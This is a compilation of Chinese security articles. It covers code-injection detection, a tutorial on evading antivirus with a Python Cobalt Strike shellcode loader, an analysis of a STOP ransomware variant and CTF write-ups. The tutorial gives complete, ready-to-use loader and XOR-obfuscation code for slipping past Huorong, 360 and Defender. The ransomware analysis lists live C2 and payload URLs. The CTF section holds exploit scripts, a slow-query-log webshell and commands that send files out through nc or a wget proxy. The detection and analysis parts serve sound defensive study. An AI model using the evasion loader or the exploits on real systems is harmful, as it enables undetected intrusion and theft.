DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
这一点非常重要，因为绝对地址很可能完全依赖于其内存位置的代码。为了安全地映射可执行映像，必须从描述的ImageBase值开始的虚拟内存空间取消映射。由于许多可执行文件都会使用公共的基地址（通常是0x400000），因此主进程自己的可执行映像未映射的情况并不罕见。这一过程是通过NtUnmapViewOfSection(IMAGE_BASE,
SIZE_OF_IMAGE)来完成的。
Executable Image of Host Process
+--- +--------------------+
| | |
| | |
| | |
| | |
| | |
NtUnmapViewOfSection + | |
| | |
| | |
| | |
| | |
| | |
| | |
+--- +--------------------+
(3) 注入Payload
要注入Payload，必须手动解析PE文件，以将其从磁盘形式转换为映像形式。在使用VirtualAllocEx分配虚拟内存之后，要将PE头部直接复制到该基地址。
Executable Image of Host Process
+--- +--------------------+
| | PE |
| | Headers |
+--- +--------------------+
| | |
| | |
WriteProcessMemory + | |
| |
| |
| |
| |
| |
| |
+--------------------+
要将PE文件转换为映像，必须单独从文件偏移量中读取所有部分，然后使用WriteProcessMemory将其正确放置到相应的虚拟偏移量中。这一点在本文每一节中都有详细的讲解。
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress; // <---- virtual offset
DWORD SizeOfRawData;
DWORD PointerToRawData; // <---- file offset
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Executable Image of Host Process
+--------------------+
| PE |
| Headers |
+--- +--------------------+
| | .text |
+--- +--------------------+
WriteProcessMemory + | .data |
+--- +--------------------+
| | ... |
+---- +--------------------+
| | ... |
+---- +--------------------+
| | ... |
+---- +--------------------+
(4) 执行Payload
最后一步，就是将执行的起始地址指向Payload的AddressOfEntryPoint。由于进程的主线程已经被挂起，所以可以使用GetThreadContext来检索相关信息。其上下文结构被定义为：
typedef struct _CONTEXT
{
ULONG ContextFlags;
ULONG Dr0;
ULONG Dr1;
ULONG Dr2;
ULONG Dr3;
ULONG Dr6;
ULONG Dr7;
FLOATING_SAVE_AREA FloatSave;
ULONG SegGs;
ULONG SegFs;
ULONG SegEs;
ULONG SegDs;
ULONG Edi;
ULONG Esi;
ULONG Ebx;
ULONG Edx;
ULONG Ecx;
ULONG Eax; // <---- ULONG Ebp;
ULONG Eip;
ULONG SegCs;
ULONG EFlags;
ULONG Esp;
ULONG SegSs;
UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;
要修改起始地址，必须将Eax成员更改为Payload的AddressOfEntryPoint的虚拟地址。简单来说，context.Eax =
ImageBase +
AddressOfEntryPoint。通过调用SetThreadContext，将修改的部分传入CONTEXT结构，即可将上述更改应用到进程的线程。接下来，我们只需调用ResumeThread，就可以使Payload执行。
#### 2.3.3 Atom Bombing
Atom Bombing是一种代码注入技术，它利用Windows全局原子表（Windows’s Global Atom
Table）进行全局数据存储。全局原子表的数据可以通过所有进程访问，这样就使我们的代码注入成为了可能。存储在表中的数据是以空字符结尾的C字符串类型，使用一个名为atom的16位整数键表示，类似于map数据结构。在MSDN中提供了一个用于添加数据的GlobalAddAtom函数，其定义如下：
ATOM WINAPI GlobalAddAtom(
_In_ LPCTSTR lpString
);
其中，lpString是要存储的数据。在成功调用时，会返回16位整数的原子。为了检索存储在全局原子表中的数据，MSDN提供了一个GlobalGetAtomName，其定义如下：
UINT WINAPI GlobalGetAtomName(
_In_ ATOM nAtom,
_Out_ LPTSTR lpBuffer,
_In_ int nSize
);
其功能是传入从GlobalAddAtom返回的标识原子，会将数据放入lpBuffer并返回不包含空终止符的字符串长度。
Atom
Bombing通过迫使目标进程加载并执行放置在全局原子表中的代码来实现，该过程依赖于另一个至关重要的函数NtQueueApcThread，它是QueueUserAPC的最低级用户空间调用。我们之所以使用NtQueueApcThread而不是QueueUserAPC的原因在于，与GlobalGetAtomName相比，QueueUserAPC的APCProc只能接收一个不匹配的参数。
VOID CALLBACK APCProc( UINT WINAPI GlobalGetAtomName(
_In_ ATOM nAtom,
_In_ ULONG_PTR dwParam -> _Out_ LPTSTR lpBuffer,
_In_ int nSize
); );
然而，在NtQueueApcThread的底层实现中，实际上是允许三个参数的：
NTSTATUS NTAPI NtQueueApcThread( UINT WINAPI GlobalGetAtomName(
_In_ HANDLE ThreadHandle, // target process's thread
_In_ PIO_APC_ROUTINE ApcRoutine, // APCProc (GlobalGetAtomName)
_In_opt_ PVOID ApcRoutineContext, -> _In_ ATOM nAtom,
_In_opt_ PIO_STATUS_BLOCK ApcStatusBlock, _Out_ LPTSTR lpBuffer,
_In_opt_ ULONG ApcReserved _In_ int nSize
); );
这是代码注入过程的可视化表示：
Atom bombing code injection
+--------------------+
| |
+--------------------+
| lpBuffer | <-+
| | |
+--------------------+ |
+---------+ | | | Calls
| Atom | +--------------------+ | GlobalGetAtomName
| Bombing | | Executable | | specifying
| Process | | Image | | arbitrary
+---------+ +--------------------+ | address space
| | | | and loads shellcode
| | | |
| NtQueueApcThread +--------------------+ |
+---------- GlobalGetAtomName ----> | ntdll.dll | --+
+--------------------+
| |
+--------------------+
以上，我们以简洁的方式介绍了Atom Bombing，但这些基础知识对于本文的研究已经足够了。如果你想了解更多关于Atom
Bombing的只是，请参考enSilo的文章：<https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows> 。
## 三、UnRunPE
UnRunPE是我们的概念验证（PoC）工具，是为了将API监控的理论应用于实践之中而写的。该工具目的在于选定一个可执行文件，并创建挂起的进程，随后将DLL注入到该进程中，利用Process
Hollowing技术来实现特定的功能。
### 3.1 代码注入检测
读完了我们代码注入的基础知识，Hollowing方法可以用下面的WinAPI调用链来描述：
CreateProcess
NtUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
GetThreadContext
SetThreadContext
ResumeThread
这些调用过程，不必按照特定顺序进行调用。例如，也可以在VirtualAllocEx之前调用GetThreadContext。然而，一些调用需要依赖之前的API调用，也不能将这些调用完全颠倒先后顺序。例如，SetThreadContext必须要在GetThreadContext或CreateProcess之前调用，否则目标进程就不会有Payload注入。该工具以上述内容为运行的基础，试图检测潜在的Process
Hollowing过程。
根据API监控的理论，我们最好对较低的位置进行挂钩，但如果考虑到对恶意软件检测的场景，那么我们最理想的是在最低的位置挂钩。最厉害的恶意软件可能会尝试跳过更高级别的WinAPI函数，直接调用通常在ntdll.dll模块中所找到的调用层次结构中最低的函数。以下WinAPI函数是Process
Hollowing的调用层次结构最低的函数：
NtCreateUserProcess
NtUnmapViewOfSection
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtGetContextThread
NtSetContextThread
NtResumeThread
### 3.2 代码注入转储
当我们对必要的函数进行挂钩之后，就会执行目标进程，并记录每个已挂钩函数的参数，这样能跟踪Process
Hollowing以及主进程的当前状态。最重要的两个钩子是NtWriteVirtualMemory和NtResumeThread，前者负责在代码注入后进行应用，后者负责执行。除了记录参数之外，UnRunPE还会尝试转储使用NtWriteVirtualMemory写入的字节，然后当到达NtResumeThread时，会尝试转储已经注入主进程的全部Payload。为了完成上述任务，它使用NtCreateUserProcess中记录的进程和线程句柄参数，以及NtUnmapViewOfSection记录的基地址和大小。在这里，如果使用NtAllocateVirtualMemory提供的参数可能更为合适，但实际过程中，由于某些暂不清楚的原因，如果挂钩该函数会在运行过程中出现一些错误。当Payload从NtResumeThread中转储出来后，它将会终止目标进程及其宿主进程，以防止注入的代码被真正执行。
### 3.3 UnRunPE示例
为了演示，我使用了之前创建的二进制木马文件，它包含主要可执行文件PEview.exe，同时隐藏了可执行文件PuTTY.exe。
## 四、实战：Dreadnought工具
Dreadnought是基于UnRunPE构建的PoC工具，用于更广泛的代码注入检测，也就是我们在本文2.3中讲解的全部代码注入。我们要实现全面的代码注入检测，就需要对工具进行一些强化。
### 4.1 代码注入检测方法
考虑到当前有很多种代码注入方法，因此必须对不同的代码注入技术进行区分。第一种方法是识别”触发”API调用，即负责远程执行Payload的API调用。共有四种类型：
段（Section）：代码作为段被注入/代码被注入到段中。
进程：代码被注入到进程中。
代码：通用代码注入或Shellcode。
DLL：代码作为DLL被注入。
每一个触发API都列在相应的执行下面。当符合这些API中的任何一个时，Dreadought将会执行相应的代码转储方法，该方法与假设的注入类型相匹配，就类似于UnRunPE中Porcess
Hollowing的方式。但是，这还远远不够，因为API调用仍然与可能会被混合，实现如箭头所示的功能。
### 4.2 启发式检测
为了让Dreadnought更准确地确定代码注入的方法，我们应该使用启发式检测。在开发过程中，我们应用了非常简单的启发式方法。在进程注入后，每次对API进行挂钩时，都会增加一个或多个存储在map数据结构中的相关代码注入类型的权重。由于它会跟踪每一个API调用，因此从一开始就有一个最高可能性的注入类型。一旦触发API被输入，它将识别并比较相关类型的权重，并进行调整。
### 4.3 Dreadnought实战
#### 4.3.1 进程注入 – Process Hollowing
#### 4.3.2 DLL注入 – SetWindowsHookEx
#### 4.3.3 DLL注入 – QueueUserAPC
#### 4.3.4 代码注入 – Atom Bombing
## 五、结论
本文对代码注入的技术进行了讲解，并帮助大家理解了其与WinAPI的交互过程。恶意软件利用注入的方式来绕过反病毒检测，我们可以使用Dreadnought来有效对这种行为进行检测。
然而，Dreadnought仍然存在一些局限性，它的启发式检测设计尚不完善，目前只能用于理论演示的目的，在实际使用中效果可能并不理想。因此，在操作系统正常运行期间，其可能会出现误报与漏报的情况。
## 六、PoC与相关源代码
<https://github.com/NtRaiseHardError/UnRunPE>
<https://github.com/NtRaiseHardError/Dreadnought>
## 七、参考
[1] <https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Sotirov.pdf>
[2] <https://www.codeproject.com/Articles/7914/MessageBoxTimeout-API>
[3] <https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows>
[4] <http://struppigel.blogspot.com.au/2017/07/process-injection-info-graphic.html>
[5] <https://www.reactos.org/>
[6] <https://undocumented.ntinternals.net/>
[7] <http://ntcoder.com/category/undocumented-winapi/>
[8] <https://github.com/processhacker/processhacker>
[9] <https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A>
[10] [https://www.youtube.com/channel/UC–DwaiMV-jtO-6EvmKOnqg](https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg) | 社区文章 |
# 简单的手法过杀软
## Author：ILU
## 学的越多，才知道自己的渺小
## 前言
因为我个人深入学习的第一门语言是python，所以相对于C来说，利用python去写免杀脚本会比用C来写的轻松。
但是在实践当中发现在C语言中杀软对于写入内存的相关的函数监控的十分严格（比如：`memcpy`，`memmove`，`RtlCopyMemory`，`RtlMoveMemory`，`RtlWriteMemory`等），但是我个人水平又没达到那种可以任意hook的程度。所以，就想着方法饶绕一绕。对于做免杀来讲，我们要做的其实是把木马等文件的`特征码`进行隐藏。让杀软识别不出原有特征，这样我们也就达到了免杀的目的。
既然C监控的很死，那么我们可以利用其他语言进行编写免杀脚本，相对的，没有直接利用C的东西，那么其特征也就相对的不一样了。
本篇文章实现的是利用python编写免杀脚本绕过内存写入函数的检测过掉`火绒`、`360`、`defender`。
## 正题
文章我用的CS的shellcode，对于处理shellcode 的话相对来说是比较简单的，就很简单的异或就行，我们要深入处理的是敏感函数。
首先利用CS生成raw格式的shellcode，然后用py读取shellcode对其中的字节一个一个的做处理、做异或。
##### 异或代码
import argparse
def xorEncode(file, key, output):
xorShellcode = ""
shellcodeSize = 0
while True:
code = file.read(1)
if not code:
break
xor = ord(code) ^ key
xor_code = hex(xor).replace("0x","")
if len(xor_code) == 1:
xor_code = f'0{xor_code}'
xorShellcode += f'\\x{xor_code}'
shellcodeSize += 1
file.close()
output.write(xorShellcode)
output.close()
print(f"shellcodeSize: {shellcodeSize}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Python XOR Encoder")
parser.add_argument('-f', '--file', help="input raw file", type=argparse.FileType('rb'))
parser.add_argument('-k', '--key', help="xor key", type=int, default=50)
parser.add_argument('-o', '--output', help="output shellcode file", type=argparse.FileType('w+'))
args = parser.parse_args()
xorEncode(args.file, args.key, args.output)
通过以上的代码就可以对shellcode做简单混淆处理就ok了，然后我们现在来了解一下如何用py调用shellcode。
##### ctypes
ctypes是python
内置的一个模块，可以实现动态链接库的调用以及C语言结构的相关的编程。既然此库可以调用动态链接，也就意味着我们可以调用动态链接库中的函数。
我们需要关注的动态链接库主要有`kernel32.dll`、`user32.dll`、`ntdll.dll`，这三个动态链接库对于windows操作系统来说是非常重要的动态链接库文件。对于我们写免杀脚本来讲，要用到的函数大部分都在这三个动态链接库文件里了。
###### 怎么调用动态链接库文件？
ctypes提供了三种方式：cdll，windll，oledll。 _cdll_ 载入按标准的 `cdecl` 调用协议导出的函数，而 _windll_
导入的库按 `stdcall` 调用协议调用其中的函数。 _oledll_ 也按 `stdcall` 调用协议调用其中的函数，并假定该函数返回的是
Windows `HRESULT` 错误代码，并当函数调用失败时，自动根据该代码甩出一个
[`OSError`](exceptions.html#OSError) 异常。
##### 用到的函数
# virtualalloc： 申请虚拟内存
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指定要分配的区域的期望起始地址。一般为null
SIZE_T dwSize, // 要分配的堆栈大小
DWORD flAllocationType, // 类型的分配
DWORD flProtect // 内存的执行权限
);
// 属性解释
flAllocationType：
MEM_COMMIT： 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
MEM_REVERSE: 保留一定范围的进程虚拟地址空间，而不在内存或磁盘上的分页文件中分配任何实际物理存储。（保留虚拟内存）
flProtect：
PAGE_EXECUTE_READWRITE： 内存页分配为可读可写可执行
PAGE_READWRITE： 内存页分配为可读可写
#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(
IN VOID UNALIGNED *Destination, // 要复制到的目标
IN CONST VOID UNALIGNED *Source, // 要转移的内存块
IN SIZE_T Length // 内存块大小
);
# CreateThread: 创建线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性，一般设置为0或者null
SIZE_T dwStackSize, // 初始栈大小， 设置为0
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
LPVOID lpParameter, // 线程参数，没传参即为0
DWORD dwCreationFlags, // 创建线程标志，对线程做控制的
LPDWORD lpThreadId // 线程id
);
# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
HANDLE hHandle, // 句柄
DWORD dwMilliseconds // 等待标志， 常用INFINITE， 即为无限等待线程执行完毕
);
以上函数都是C中的定义，我们在python中编写需要遵循此函数定义，具体参数的值可通过查阅MSDN文档去做详细了解。
##### 免杀代码
import ctypes
# xor shellcode
XorBuf = "把生成的xor shellcode复制到此处"
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待线程执行完毕在终止进程
kernel32.WaitForSingleObject(hThread, -1)
我们先来基本的调用流程是否能够上线CS。
可以看到是能够正常上线的，现在我们对其进行编译，看能否过掉杀软。这里我用推荐用`auto-py-to-exe`这个pyinstaller的插件方便快捷。
编译完成后，发现正常代码下，火绒对生成的exe文件是有检测报毒的，说明其中存在相关特征码。那么这里，可以通过笨方法去找出特征码：注释代码，一行一行的找，然后编译。哪行注释不报毒就说明特征码存在在那行。
那么这里值得一提的是在python中，对于shellcode写入内存检测并没有很严格，杀的是`CreateThread`这个函数，所以我们只需要绕过这个函数即可，绕过的方式太多了，我就举一个例子把。
我们这里可以把kernel32.dll理解为多个dll文件的集合体，意思就是这个动态链接库文件，是对其他dll文件中的函数做了转发，所以我们只要通过调试，或者导出其他动态链接库文件的导出表即可获得更底层的api函数。那这里比如说通过调试得知kernel32.dll函数中`CreateThread`这个函数调用了`kernelbase.dll`中的`CreateThread`这个函数，那么kernelbase.dll调用的哪个dll文件中的CreateThread函数的话也是可以获取到的。我想表达的是不同的dll动态链接库文件它们的函数地址是不一样的，也就意味了他们的特征码不一样，可能会出现函数不在特征库当中，虽然同名功能一样。
那么这里我们稍微做一下处理。
import ctypes
# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernelbase.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
kernel32.WaitForSingleObject(hThread, -1)
看一下上线情况是否正常。
好了，到这里我们可以看到正常上线，然后我们编译看看结果怎么样。
结果有点尴尬，前段时间我这么做还是稳稳当当，没想到现在啪啪打脸，不要慌。我们对CreateThread这行代码做一下base64加密，让它动态执行此代码。
import base64
base64.b64encode(b"""hThread = ntdll.ZwCreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)""").decode()
然后我们把base64加密后的代码进行动态执行。
import ctypes
import base64
# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
# print(base64.b64encode(b"""hThread = kernelbase.CreateThread(
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.c_uint64(lpMemory),
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.pointer(ctypes.c_int(0))
# )""").decode())
exec(base64.b64decode(b"aFRocmVhZCA9IGtlcm5lbGJhc2UuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KGxwTWVtb3J5KSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQ==").decode())
kernelbase.WaitForSingleObject(hThread, -1)
跑完后再看看编译效果。
现在火绒就不再对编译生成的文件报毒了，看一下上线情况。
此处正常上线，并且虚拟机的defender未报毒，360未报毒我盲猜核晶应该也可以过。虽然，一开始说的不同dll文件中的函数效果会不同这个玩意翻车了。但是这东西是可行的，可能是我之前丢给沙箱然后给无了。
上过杀软截图。 | 社区文章 |
# Stop家族勒索病毒litar变种分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 样本简介
MD5: F9078C037B406527084BC11F03AA07A1
SHA-1: C5158ED9537D5D0426DF946069531040F9F45BA4
Stop家族的勒索病毒有多个变种，变种之间加密后的文件后缀名不相同，在勒索病毒执行之后会在文件目录下留下_Readme.txt的勒索信息索要高额费用，本文将以litar变种的样本为基础分析该勒索病毒的恶意行为。
## 0x01 病毒主题程序
程序加载进IDA后可以生成MAP文件，导入到OD中方便动态调试
跟到sub_4032C0函数内，堆中申请0x44E2C大小的内存把解密后的ShellCode放到申请的堆中，利用VirtualProtect函数设置刚才申请的堆内存可执行，最后跳转到ShellCode执行。
## 0x02 ShellCode执行流程
对于想要静态分析ShellCode可以在OD里转到申请的堆区域二进制复制下来用WinHex 保存出来，这样就可以在IDA里静态分析了。
动态加载WindowsAPI，利用SetErrorMode反沙箱。
申请堆内存空间放置解密后的PE文件，和此前Dump ShellCode一样操作把新的PE文件导出，方便后续静态分析。
解密并释放新的PE文件至当前进程空间。
加载导入表，最后跳入新PE文件的OEP
## 0x03 dump_PE文件分析
因为是替换源进程空间所有OD中如果接着调试会出现问题，所以之前导出的新PE文件就派上用场了，我们把它叫做dump_PE，和最早一样可以导入IDA生成的MAP文件方便OD调试。
利用网页API获取本机地区代码。
比较白名单如果在白名单内则不执行加密操作，%TEMP%目录下创建delself.bat批处理文件把自身删除。
设置当前程序优先级为最高。
读取命令行参数，根据后续代码判断应该是利用这些参数判断目前程序是在何种状态以及进行功能测试。
创建%LOCALAPPDATA%\进程UUID文件夹并把当前文件复制至该目录下，并通过设置注册表自启动实现持久化。
icacls命令修改刚才创建的目录权限
icacls "C:\Users\Administrator\AppData\Local\d2105da4-c104-49d1-a686-dac7f4749a49" /deny *S-1-1-0:(OI)(CI)(DE,DC)
设置计划任务每五分钟启动一次。
以管理员身份执行本程序，手动给OD相对于的参数“—Admin IsNotAutoStart IsNotTask”。
开启线程下载勒索病毒辅助程序，可惜现在下载地址无法访问了就先略过。
http://texet2.ug/tesptc/penelop/updatewin1.exe
http://texet2.ug/tesptc/penelop/updatewin2.exe
http://texet2.ug/tesptc/penelop/updatewin.exe
http://texet2.ug/tesptc/penelop/3.exe
http://texet2.ug/tesptc/penelop/4.exe
http://texet2.ug/tesptc/penelop/5.exe
开启线程使用mac地址MD5之后为参数向远程服务器获取RSA加密公钥以及本机机器码，如果无信息返回则使用硬编码作为默认公钥和机器码。
http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php?pid=MD5(mac)&first=true
拼接_readme.txt文件内容。
设置加密目录及后缀名白名单。
创建线程遍历文件加密并在根目录下生成_readme.txt勒索信息。
如果文件大小小于5字节则不进行加密直接修改后缀名。
如果被读取的文件末尾有”{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}”则说明已经被加密过了，释放堆栈关闭文件句柄。
每个文件都生成了唯一的标识码，利用Salsa20流加密第六个字节到150KB的内容利用此前服务器传递的RSA公钥加密这个文件标识码，最后写入文件末端同时追加被加密的标识符“{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}”。
## 0x04 总结
感觉这个病毒集合了Ransom和DownLoader，可惜的是在分析的时候DownLoader的服务器已经不能访问了，对勒索病毒的辅助程序没能更深入的分析。不过作为勒索病毒基本功能都还可用，拿来练手还是比较合适的。 | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/Iwj_zNgYZKZvJOYuhmlz3w>**
## Web
### EasySQL
访问robots.txt，可得三个文件index.php、config.php、helpyou2findflag.php。
fuzz黑名单，可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。
经测试可得到闭合方式为括号，且白名单为数据库记录行数，使用`1);{sqlinject}-- +`可以闭合查询语句并进行堆叠注入。
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
setglobal slow_query_log=1; # 开启慢查询日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
查询慢日志记录有关的变量。
查询慢日志记录有关的变量。
修改慢查询日志的保存位置。
sleep函数再黑名单中因此不能直接使用，这里有一个考点：慢查询日志只会记录超过long_query_time时间的查询语句，因此要在写入webshell的sql语句中超过执行耗时命令，由于union和sleep都被过滤所以需要一定的绕过技巧，最简单的方式应该是修改long_query_time的值。
1);set global long_query_time=0.000001;--+
1);show variables like 'long_query_time';--+
查询慢查询日志的判定时间。
查询一个webshell，查询记录就会被添加到slow_query_log_file变量所指向的位置，这里fuzz黑名单可知一句话木马中常见的关键词被过滤了，绕过一下即可：`1);select
'<?php $_REQUEST[a]($_REQUEST[b])?>';--+` 访问helpyou2findflag.php即可访问webshell。
接下来就是找flag了，查看用户发现有rainbow用户，`ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd`,查看家目录发现有ssh.log,flag就在其中。
### FakeWget
题目只有三个路由，一个输入点，容易判断考点是命令注入，因此需要先不断测试传入数据并刷新观察回显，来猜测后端与wget命令拼接逻辑和过滤逻辑，下面是三个比较典型的fuzz示例。
www.baidu.com
teststr with space www.badiu.com 这里fuzz出空格不可用
ls;\nwww.baidu.com
这里fuzz出分号不可用，同理可得反引号，`|`,`;`,`&`均被过滤，同时能够测试出可利用`\n`绕过正则检查，只需要构造出空格且领用wget命令即可
第一步测试出可利用\n绕过合法性检查，且特殊符号被替换成空格，至此已经能够构造出POC读文件了，利用http_proxy和--body-file参数读取本地文件发送到代理服务器上： `-e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com`
这里特殊符号被替换成空格，\n绕过了检查wget的grep命令，并将/etc/passwd的文件内容发送到代理机上：
接下来就是找flag文件，第三个路由（点击getflag）访问后看网站源码，可知flag文件名称是`flag_is_here`
建议的思路是：/etc/passwd看到有ctf_user用户，读取ctf_user用户的.bash_history得到flask程序的根目录是`/home/ctf_user/basedirforwebapp/`，直接读文件`/home/ctf_user/basedirforwebapp/flag_is_here`即可得到flag。
### EasyWAF
访问首页“/”时，发现cookie为node=dGhlcmUgaXMgbm90aGluZ34h，base64解码后结果为“there is
nothing~!”。
访问接口“/register”时，尝试进行注入，会提示“SQL Injection Attack Found! IP record!”。
正常访问接口“/register”时，返回结果为“IP have
recorded!”，同时，发现设置了Cookie为node=bWF4X2FsbG93ZWRfcGFja2V0，base64解码后结果“max_allowed_packet”。
访问“/hint”时，发现cookie为node=fiBub2RlLXBvc3RncmVzIH4h，base64解码后结果为“~ node-postgres
~!”。
进一步进行注入探测，可以知道，过滤了以下字符串： `"select"`, `"union"`, `"and"`, `"or"`, `"\\"`,
`"/"`, `"*"`, `" "`
结合以上两点信息，可以知道此web服务使用nodejs，并且waf数据保存在mysql中，而注册数据保存在postgresql中，同时可以利用mysql的max_allowed_packet特性绕过waf，并结合nodejs
postgres包的RCE漏洞进行利用，给出如下exp.py。
from random import randint
import requests
import sys
# payload = "union"
def exp(url, cmd):
print(cmd)
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' ' * 1024 * 1024 * 16, cmd)
username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))
data = { 'username': username + payload,'password': 'ABCDEF'}
print('ok')
r = requests.post(url, data = data)
print(r.content)
if __name__ == '__main__':
exp(sys.argv[1], sys.argv[2])
执行“python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"”，如下。
远程服务器监听9999端口，获得flag。
### Web-log
访问网站自动下载了一个log文件。 打开查看内容，提示logname错误，那么可能需要提交logname。
并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log
提交参数仍然返回错误，但可以看到改文件名其实是一个日志文件名，那么他应该是按日分割的，代入今天的年月日。
发现成功读取到日志文件（这里无法做目录遍历），根据日志内容可判断，该web是springboot，对应的jar包名为cb-0.0.1-SNAPSHOT.jar，尝试是否可以下载jar包。
成功下载jar包。
反编译jar包，可以看到刚才访问请求方法为index。
并且发现还存在一个`/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser`接口，对提交的user参数做base64解码，并进行反序列化，那么该处存在一个反序列化漏洞。
分析pom.xml文件，发现有commons-beanutils:1.8.2依赖，
但ysoserial工具里的CommonsBeanutils链，除了依赖commons-beanutils以外，还依赖commons-collections，导致无法使用。
这里需要找到一条无依赖CC包的利用链，如下图所示
